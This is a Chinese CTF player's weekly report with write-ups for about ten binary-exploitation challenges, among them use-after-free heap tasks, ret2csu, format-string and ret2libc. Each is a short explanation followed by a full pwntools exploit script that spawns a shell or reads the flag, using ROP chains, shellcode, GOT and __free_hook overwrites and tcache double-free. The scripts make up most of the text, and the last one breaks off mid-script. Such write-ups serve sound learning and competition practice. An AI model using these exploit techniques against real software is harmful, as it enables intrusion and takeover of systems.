某不知名ctfer选手的第二周周报和XYCTF部分题解

[CISCN 2022 初赛]login_normal

这是来自nss刷题网站的一道题目

可以看到他的命令匹配的方法十分复杂,不过我们慢慢的来剖析它。算了看不懂不剖析了,直接上exp:

from pwn import *

context.log_level='debug'

p=process('./login')


shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\n'+'msg:ro0t\r\n'    #多传输一个无用的\r
payload2='opt:2\n'+'msg:'+shellcode+'\r\n'

p.sendlineafter('>>> ',payload1)
p.sendlineafter('>>> ',payload2)

p.interactive()

[BJDCTF 2020]YDSneedGirlfriend

菜单堆题,首先看有没有uaf漏洞,查看free函数

这里可以发现在free掉堆块后并没有删除指针,那么这里就是一个明显的uaf漏洞,那么怎么利用它呢?这里可以看到在malloc我们自己定义的那个堆块之前还会申请有一个堆块,这个堆块用来存放类似print_girfriend_name函数的功能,那么我们只要把这个函数改为我们需要的,由于这题有后门所以可以直接改为backdoor函数,那么再执行打印功能就可以getshell了,至于如何改我上面写了一类似的堆题讲的很详细了

exp如下:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./girlfriend')
#p=remote("node4.anna.nssctf.cn",28423)
elf = ELF('./girlfriend')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def add(size,data):
    sla(b'Your choice :',b'1')

    sla(b'Her name size is :',str(size))
    sla(b'Her name is :',data)
def free(idx):
    sla(b'Your choice :',b'2')
    sla(b'Index :',str(idx))
def show(idx):
    sla(b'Your choice :',b'3') 
    sla(b'Index :',str(idx))
#debug('b *0x400B5F ')


add(0x20, b'a')
add(0x20, b'b')
free(0)
free(1)
add(0x10, p64(elf.sym["backdoor"]))

#pause()
show(0)

p.interactive()

[GDOUCTF 2023]Random

之前写了一道伪随机数的题目后就是想,如果不是伪随机数,那么应该就不能模拟环境来生成伪随机了,那么该怎么写,没想到这道题就被我给碰到了不是伪随机数的做法,不过还是有一点点不明白,先看ida的伪代码

可以看到这里是以时间为随机数种子的,那么的话就不是伪随机了,每次开环境都是不一样的,不过那么这题就需要用到python里面的ctypes库从而来实现模拟时间种子的功能,然后再发送就可以进行攻击了,通过cdll载入并模拟时间随机数种子

from ctypes import *
cdll=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
cdll.srand(cdll.time(0))

p.recvuntil('please input a guess num:\n')
p.sendline(str(cdll.rand()%50))

然后我们再返回vuln看看

可以看到这里可以溢出,而且这道题什么保护措施都没开(除了沙盒),那么我们就可以使用orw,但是如何获得栈的地址呢?但是这道题其实可以不用获取栈地址,我们可以动调看一下

可以看到我们的值是写在rsi里面的,那么我们是不是可以手搓一个call rsi,然后再写入shellcode呢?一开始我本来想通过shellcode = asm('call rsi;')来替代ret_addr,但是发现rip好像是会把值当成指针来解析的,那么这种方法也就不可取了。最后我去看学长的wp,发现在eh_frame段竟然有一个call rsi他的地址为0x400c23,那么这样的话就可以实现任意命令执行了,不过0x40个字节显然写不下我的orw_shellcode,那么就通过第一次调用来实现自定义的read函数,再执行就好了。

exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
cdll=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
cdll.srand(cdll.time(0))
p=remote("node5.anna.nssctf.cn",28456)
#p=process("./RANDOM")
elf=ELF("./RANDOM")
rdi=0x0000000000400ae3
debug('b *0x400942')


call_rsi = 0x400c23
shellcode = asm('xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;')
orw_shellcode = asm(shellcraft.open('/flag') + shellcraft.read('rax', elf.bss() + 0x100, 0x30) + shellcraft.write(1, elf.bss() + 0x100, 0x30))
def burp():
     for i in range(100):
        p.recvuntil('please input a guess num:\n')
        p.sendline(str(cdll.rand()%50))
        s=p.recvline()
        print('s:',s)
        if len(s)==10:
           break
        
burp()
sa(b'door\n', shellcode.ljust(0x28, b'\x00') + p64(call_rsi))

pause()
s(orw_shellcode)
pr()


这里不知道为什么应该是本地和远程的时间会有点差别,所以导致不能很好的模拟远程的随机数,那么就通过爆破的方法来猜,反正有100次循环。

[HNCTF 2022 WEEK2]ret2csu

很明显没有system,没有binsh,那么就只能是ret2libc了,但是,这里没有puts函数可以利用,那么这里在利用write泄露libc时就有问题了,因为我们泄漏的是64位的libc,但是这里的write的第三个参数也就是rdx的地址是找不到gadget的

如果运气比较好的话,可能在泄漏时rdx刚好为0x8或者更大,但是很明显,这题就是要用ret2csu的做法,其实这种做法也挺简单的,随便动调一下就可以出来了,那么我就简单介绍一下ret2csu了

可以看到在__libc_csu_init的函数段存在这样一段gadget,那么我们就可以先劫持程序控制流到pop_6(0x4012A6)的位置然后再ret到mov rdx r14(0x401290)但是要注意的是运行完这行代码后我们的程序还会接着运行mov rsi r13,......一直到ret为止,特别需要注意的是 call    ds:[r15+rbx*8]这一行代码,我们可以将在pop_6的时候将elf.got["write"]填入r15,同时将rbx填入0,那么这里就可以执行write的函数,泄露got表,那么就可以获取libc,基地址。后面的那个cmp 值令也很简单,只有让rbp和rbx不相等就可以了,那么我们就可以再次执行pop_6直到ret,这时候再填入vuln函数的地址就行了,那么就可以构造ROP链来打ret2libc了。但是还是需要多动调,下面是exp:

from pwn import * 
#context.log_level="debug" 
elf=ELF("ret2csu") 
p=process("./ret2csu")
#p=remote("node5.anna.nssctf.cn",29015)
#libc=ELF('libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
write_plt=elf.symbols["write"] 
write_got=elf.got["write"] 
vul_addr=0x401176
rdi=0x00000000004012b3
rsi_r15=0x00000000004012b1
ret=0x000000000040101a
mov_sd=0x401290
pop_6=0x4012A6
#gdb.attach(p)
p.recvuntil(b"Input:\n") 
payload1=b'a'*0x108+p64(rdi)+p64(1)+p64(pop_6)+p64(0)*2+p64(0x1)+p64(1)+p64(elf.got["write"])+p64(0x10)+p64(elf.got["write"])+p64(0x401290)*1+p64(vul_addr)*88
p.send(payload1)
p.recvline() 

write_addr=u64(p.recv(8))
pause()
print(hex(write_addr))
libc_base=write_addr-libc.sym['write'] 
print(hex(libc_base))
sys_addr=libc_base+libc.sym['system'] 
bin_addr=libc_base+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x108+p64(rdi)+p64(bin_addr)+p64(sys_addr)
p.send(payload2) 

p.interactive()

[SUCTF 2018 招新赛]basic pwn

一道简单的ret2text而已,nss上面的

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",28702)
#p = process('./service')
p=remote("node4.anna.nssctf.cn",28809)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./service')
payload=b'a'*0x118+p64(0x401157)

s(payload)

inter()

[GDOUCTF 2023]奇怪的ELF

这不是一道逆向题吗?嘿,给我干哪来了,这还是PWN吗?竟然是异或,等我学一会再补上

[HDCTF 2023]Minions

可以看到vuln函数里面有printf的格式化字符串漏洞,而且可读入的字节也挺大的,那么即可实现任意地址读写,看到下面只能溢出一个字节,同时,又可在bss段写数据,一眼栈迁移,那么我们就可以再bss段写入ROP链然后执行,不过动调的时候出问题了。由于rsp被迁移到了bss段,经过一些操作后导致rsp不可写了,然后在执行system的时候出了问题

卡在这里了,根据图可知,需要抬栈,但是bss里面只能写入0x28的字节,那么做不到。换一种思路,在栈上栈迁移,就不会出现需要抬栈的问题了。那么这里就还需要泄露栈的地址,不过也是小菜一碟。不过一开始思路错了,就很烦,一开始通过打本地的libcgetshell了但是nss题目的通病就是libc不好找,然而竟然发现有system的got表,那么直接使用,再稍加动调,就可以getshell了。注意,有些人可能

这样就以为进入got表了,其实这种情况只代表你深入了system函数,如果rdi的参数不为/bin/sh也会出现这种情况,所有这就是为什么有时候,出现了这个,但是没有getshell,这时候深入system看看就知道了。exp如下:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",23801)
p = process('./minions1')
debug('b *0x400752')
#p=remote("node4.anna.nssctf.cn",28809)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./minions1')
key = 0x6010a0
bss=0x6010C0
leave=0x40082D
payload = b'%28$p%61$p%74c%9$hhn'
sa("name?\n\n",payload.ljust(0x18,b'\x00')+p64(key))
r(6)
buf_stack=int16(r(14))-0x30+0x70-0x30
lg('buf_stack',buf_stack)
rdi=0x0000000000400893
ret=0x0000000000400581
libc_base=int16(r(14))-128-libc.sym["__libc_start_main"]-0xbf80
pr()
sleep(1)
system=0x400763 
lg('libc_base',libc_base)
payload2=b'/bin/sh\x00'+p64(rdi)+p64(buf_stack-8)+p64(ret)+p64(elf.plt["system"])+p64(rdi)+p64(buf_stack)+p64(leave)
s(payload2)

sla('?', b'dijia')
pr()
pause()
inter()

[CISCN 2019西南]PWN1

真的被这道题狠狠的上了一课,emmmm.....我还是太菜了。想要用工具打,但是总是出问题,那么干脆直接手搓,但是问题来了0x80483d0这个怎么算字节,这里难道我还可以改半个字节吗,我一开始想着既然把printf_got改成0x80483d0不好改,那么我改成0x80483d00这样是不是可以呢?但是事实证明我还是太天真了,搓了一下午,好不容易把printf_got改成了0x80483d00,嘿,竟然还给我报错了,最后也只能看师傅的wp了。

简单讲一下思路,这里是打fini_array,和printf同时打,然后fini改为main,这样在退出时又可以执行main,printf也变成了system,那么就可getshell

我靠( ‵o′)凸,看完之后发现,还是我的脑袋转的太慢了。这里如果这里有x/20gx查看一下内存的话应该可以看到,都是后话了。这里假如printf的got表为0xf6857a90,那么直接用%2052c%k$hn就可以把0xf685变成0x804其实这里应该是要为0x0804的我用x/10gx查看了,它的高一位为0,不过系统会把这个0给省略所以就变成了0x80483d0,感觉下一次再遇到这种题目是应该要在最前面填充一个0,如0x80483d0->0x080483d0。好了,看exp:

from struct import pack
from LibcSearcher import *
from pwn import *

def s(a):
	p.send(a)
def sa(a, b):
	p.sendafter(a, b)
def sl(a):
	p.sendline(a)
def sla(a, b):
	p.sendlineafter(a, b)
def r():
	p.recv()
def pr():
	print(p.recv())
def rl(a):
	p.recvuntil(a)
def inter():
	p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
	return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='i386', log_level='debug')
p = process('./pwn1')
#p = remote("node5.anna.nssctf.cn",22782)
elf = ELF('./pwn1')
#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
#libc = ELF('buu/libc-2.23-x64.so')

gdb.attach(p, 'b *0x080485A8')

fini_array = 0x0804979C #0x080484d0
printf_got = 0x804989c  #0xf7e212d0

system = 0x80483d0
main = 0x08048534


payload = b'%2052c%13$hn%31692c%14$hn%356c%15$hn' + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)

sla(b'name?\n', payload)
sla(b'name?\n', b'/bin/sh\x00')
pause()
inter()

 [BUU第三页第一题]ciscn_2019_n_3

打开ida可以发现

这个do_new的函数的功能是创建堆块,但是,可以看到在v2 = ask("Index");询问我们堆块的索引之后会创建一个固定大小为0xc的堆块,再向我们询问我们要对堆块输入什么内容,如果是输入Text的话还会再创建一个堆块。那么问题来了,,这个固定大小为0xc的堆块保存的是什么内容,执行的是什么功能呢?再次仔细阅读代码发现。

这里是把rec_int_print和rec_int_free对应的函数地址放在了这个大小为0xc的堆块(也就是records[v2]对应的地址里面),然后呢?肯定要调用的对吧,那么在哪里调用呢?

可以看到在最下面一行调用了rec_int_print函数,这个函数暂时没发现漏洞,那么rec_int_free在哪里执行呢?这个函数肯定和free有光,锁定do_del函数

可以看到这里进行了一个函数调用,调用的函数就是records[v0]+4指向的函数,这个函数所需要的参数就保存在records[v0]中。从上文( *(_DWORD *)(v3 + 4) = rec_int_free;)可知,这个所执行的函数就是rec_int_free函数。那么我们是不是只要把这个原本指向rec_int_free的内容改为system,再把sh作为system的参数,是不是就可以getshell了。那么我们再仔细看看这个函数

可以看到这个函数明显存在一个uaf(漏洞),如果这个都不了解的师傅建议看看《CTF权威指南pwn篇》这本书。那么这个uaf漏洞有什么用呢?我简单说明一下,这个uaf漏洞的成因之一就是把堆块free掉之后并没有删除掉他的指针,导致原本写死在那个大小为0xc中的chunk的那两个函数,可以被更改,从而造成uaf攻击。具体攻击方法看下面详细介绍

这里由于Tcache bin会对double free进行检查,所以我们需要
 

free(0)

free(1)

free(0)

这样来绕过检查,那么在free(1)之后,我们再申请一个大小为0xc的堆块,那么根据Tcache的头插法的方法可以知道,我们能申请到records[v2] = (int)malloc(0xCu);这个堆块,那么可能有人会问,为什么不是我们能自己定义大小的那个堆块,这里就又涉及一些Tcache bin的堆块的分配方式了

Tcache bin采用的分配方法是先进后出的分配方法,也就是头插法,直接打断链表头部的指针,将新来的堆块放在被打断的地方,连接起来。所以说就是先释放的chunk,后分配给程序,后释放的chunk先分配给程序.

那么根据我上面的那个图可以看出来是我们自己定义大小的那个chunk先被分配,那个固定大小为0xc的堆块后被分配,那么这样的话我们就可以开始攻击了。

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./ciscn_2019_n_3')
#p=remote("node5.buuoj.cn",26639)
elf = ELF('./ciscn_2019_n_3')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def add(idx,size,data):
    sla(b'CNote >',b'1')
    sla(b'Index >',str(idx))
    sla(b'Type >',b'2')
    sla(b'Length >',str(size))
    sla(b'Value >',data)
def free(idx):
    sla(b'CNote >',b'2')
    sla(b'Index >',str(idx))
def show(idx):
    sla(b'>>',b'3') 
    sla(b'idx?',str(idx))
#debug('b *0x08048743 ')

add(0, 0x20, b'a')
add(1, 0x20, b'b')

free(0)
free(1)
add(2, 0xa, b'sh\x00a' + p32(elf.plt['system']))

free(0)
pause()
inter()




这里为什么要写b'sh\x00a'呢?是为了保证sh在读入时被截断,而system函数又不被截断。那么执行完这个代码后原本的free的功能已经被改成了system('sh',0,0),这样再free(0)之后就可以getshell了。如果删除了指针的话,那么就会导致无法利用这个已经改掉的free函数,使得就算改了也用不起来。

[神秘的一题目1]heap_uaf1

从学长哪里拿来的一道题,从题目可以看出也是uaf漏洞,让我们一起来看怎么做吧

可以看到也是一道菜单堆题,但是这里没有后门函数,那么该怎么做呢?这里可以先泄露libc_base,再去打free_hook。说到这里可能有些人不知道什么是free_hook,在《ctf竞赛权威指南 pwn篇》的248页有提及,自己也可上网搜索,这里我只做简单叙述,其实free()函数实际上是libc_free(),自己可以在malloc - Glibc source code (glibc-2.23) - BootlinElixir Cross Referencer - Explore source code in your browser - Particularly useful for the Linux kernel and other low-level projects in C/C++ (bootloaders, C libraries...)icon-default.png?t=N7T8https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc这个网站查询相关堆的代码。free()函数一个hook也就是__free_hook,当在执行free函数的时候,会先检查有没有hook,如果不为0,那么在free(i)时就会把__free_hook作为函数指针调用,这时rdi会是原本要free的堆块指针,那么聪明的人已经能想到怎么攻击了,没错就是把__free_hook改成system,再把要free的堆块填入字符串,那么在free这个堆块时,就可以执行system("/bin/sh")了。那么好,听起来容易,做起来难,那我们就迎难而上。

首先就是泄露libc获得system和/bin/sh的地址。

可以看到这里对申请堆块的大小是没有限制的,那么我们就可以申请一个0x500大小的堆块,将其free掉之后,可以看到

它存放在了unsortedbin中,在被free掉之后链入了unsorted链表,然后还可以看到这里的main_arena地址,那么直接用distance比较它和libc_base的距离再作差就是libc_base了。然后也就获得了__free_hook的地址。(注意这里的free_hook和__free_hook是一个意思)

那么我们该怎么对free_hook的地址进行读写呢?首先我们要想办法对free_hook写入内容。那么直接crate再edit可以吗?如果这样的话,我们能做的无非就是把__free_hook这个地址写入堆块中。但是我们要对free_hook当成指针来解析,就需要链入链表中,那么只有修改fd指针才能做到链入链表,那么这样看了先delete在edit还是很有必要的,先来看一部分脚本

这里再给大家补充一点自己的理解,这个fd指针其实还挺重要的,只要我们能修改它,那么我们就可以实现任意地址读写,因为堆块该在哪里写入数据是由fd指针告诉他的,打个比方

这是一个tcache bins链表,它指向了两个地址,那么如果我们申请了一个0x10大小的堆块,那么我们tcache就将会把0x56a13d198260这个地址给我们,然我们在这里写数据。同时我们这里又修改了fd的指针,让tcache误以为这个__free_hook是下一个堆块,从而分配给我们去写。那么还不会写入system吗?

最后也就是马上要收工了,就是在创建一个堆块,然后直接写入"/bin/sh\x00",那么再free这个堆块,就getshell了,exp如下:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./heap1_uaf')
elf = ELF('./heap1_uaf')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def creat(idx,size):
    sla(b'>>',b'1')
    sla(b'idx?',str(idx))
    sla(b'size?',str(size))
def delete(idx):
    sla(b'>>',b'2')
    sla(b'idx?',str(idx))
def show(idx):
    sla(b'>>',b'3') 
    sla(b'idx?',str(idx))
def edit(idx,data):
    sla(b'>>',b'4')
    sla(b'idx?',str(idx))
    sla(b'context : \n',data)

debug('b *$rebase(0x13B1)')
creat(0,0x500)

creat(1,0x10)#这是为了后面free的时候重要的堆块不被合并
delete(0)

show(0)
rl(b'context : ')
libc_base=(u64((p.recv(6)).ljust(8,b'\x00')))-0x3ebca0
print(hex(libc_base))
system,binsh=get_sb()
free_hook=libc_base+libc.sym['__free_hook']
print(hex(free_hook))
creat(2,0x10) 
delete(2)
edit(2,p64(free_hook)) 
creat(3,0x10)
creat(4,0x10)
edit(4,p64(system))
creat(5,0x10)
edit(5,b'/bin/sh\x00')
delete(5)
pause()
#debug()
inter()


由此可见,做堆题,不可急躁,要十分细致的观察

[神秘的一题目2]heap_uaf2

那么现在我要对第一道题进行升级,我要限制堆块大小,而且让你在创建堆块时写入数据。来看看你怎么泄露libc_base,先看看ida

可以看到这道题目,无非就是把edit函数去掉了,限制了堆块不能大于0x100,甚至连uaf漏洞都贴心的留给了我们,那么要泄露libc_base的话我们就需要想到如何把已经free的堆块放入unsorted bins中,根据tcache bin的分配机制可以知道, 它的 每个bins最多存放7个chunk,那么当free掉第8个chunk时,它会存放在哪里呢?当然是unsorted bins,那么这样的话不就得到了libc_base。

那么接下来就是打free_hook了,想想看该怎么写值,这里我们虽然有堆块在unsorted bin 但是我们要free一个堆块进unsort bins 十分麻烦,所有这里考虑去攻击Tcache bin 那么怎么去做呢?首先我们需要在Tcache bin链表上有0x30大小的堆块,由于之前free的都是的0x100大小的堆块,在tcache中并不是很好使用,那么我们可以两个creat()函数再free来获得,那么这里需要用到double free漏洞,就是free(a),free(b),再free(a)即便a被malloc之后,但是a还在链表中。

那么通过这个double free之后,a和b好像进入了循环,来看看动调代码

当我创建idx为12的堆块前

可以看到a->b->a就是double free造成的。那么当我creat(12)后

可以看到变成了b->a->b那么事实上他们已经形成了循环,现在我们几乎可以一直不断地调用malloc函数,那么如果我们不希望循环怎么办,修改fd指针就可以了,而修改fd指针也正是uaf漏洞的精华所在,那么怎么修改。

很简单,再free(a),free(b),free(a)之后再申请一个堆块,对这个堆块写入数据就是a修改fd地址

那么这里就可以讲a的fd指针修改为free_hook,再用heap_uaf1的方式就可以填入system和binsh,就可以打通了,然后自己看看exp动手做一下吧,思路其实都不难

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./heap_uaf2')
elf = ELF('./heap_uaf2')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def creat(idx,size,data):
    sla(b'>>',b'1')
    sla(b'idx?',str(idx))
    sla(b'size?',str(size))
    sa(b'context : \n',data)
def delete(idx):
    sla(b'>>',b'2')
    sla(b'idx?',str(idx))
def show(idx):
    sla(b'>>',b'3') 
    sla(b'idx?',str(idx))

for i in range(10):
    creat(i,0x100,b'a')

for i in range(8):
    delete(i)
    
#debug('b *$rebase(0x13D8)')
show(7)
rl(b'context : ')

libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
system,binsh=get_sb()
free_hook=libc_base+libc.sym['__free_hook']

creat(10,0x20,b'a')#这里为什么不是获得Tcache中的0x110大小的堆块呢,建议看看源码,Tcache几乎只有在申请的堆块很接近时才会分配,这里就算是有一个0x50大小的堆块在Tcache里都不会分配给这个索引为10的对快
creat(11,0x20,b'a')

delete(11)
delete(10)
delete(11)
creat(12,0x20,p64(free_hook))

creat(13,0x20,b'a')
creat(14,0x20,b'/bin/sh\x00')
creat(15,0x20,p64(system))
delete(14)
lg('libc_base',libc_base)
#pause()
inter()

[BUU第三页的一道题]cmcc_pwnme2

这里有gets函数,又有puts的got表,那么直接秒了,ret2libc3,直接看exp

from pwn import *
#p=process("./pwnme2")
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
#gdb.attach(p)
p=remote("node5.buuoj.cn",26665)
elf=ELF("./pwnme2")
print(p.recv())
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("libc-2.23.so_16_32")
print(hex(elf.sym["puts"]))
ret=0x080483f2
print(hex(elf.got["puts"]))
payload=b'a'*(0x6C+0x4)+p32(elf.sym["puts"])+p32(elf.sym["main"])+p32(elf.got["puts"])
p.sendline(payload)
p.recvline()
got=l32()
libc_base=got-libc.sym["puts"]
print(hex(libc_base))
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b'/bin/sh')) 
payload2=b'a'*(0x6C+0x4)+p32(ret)+p32(system)+b'aaaa'+p32(binsh)
p.recv() 
p.sendline(payload2)
#p.recv()
p.interactive()

[BUU第三页的一道题]pwnable_hacknote

依然是uaf漏洞,那么这道题就和上面的那道ciscn_2019_n_3是差不多的,只是show的功能有点不同,一个是参数在前,一个是参数在后,而这道题同时没有给出edit功能,然我们在创建堆块的时候就把功能写好,那么这里先奉上exp,我们再来慢慢剖析

exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
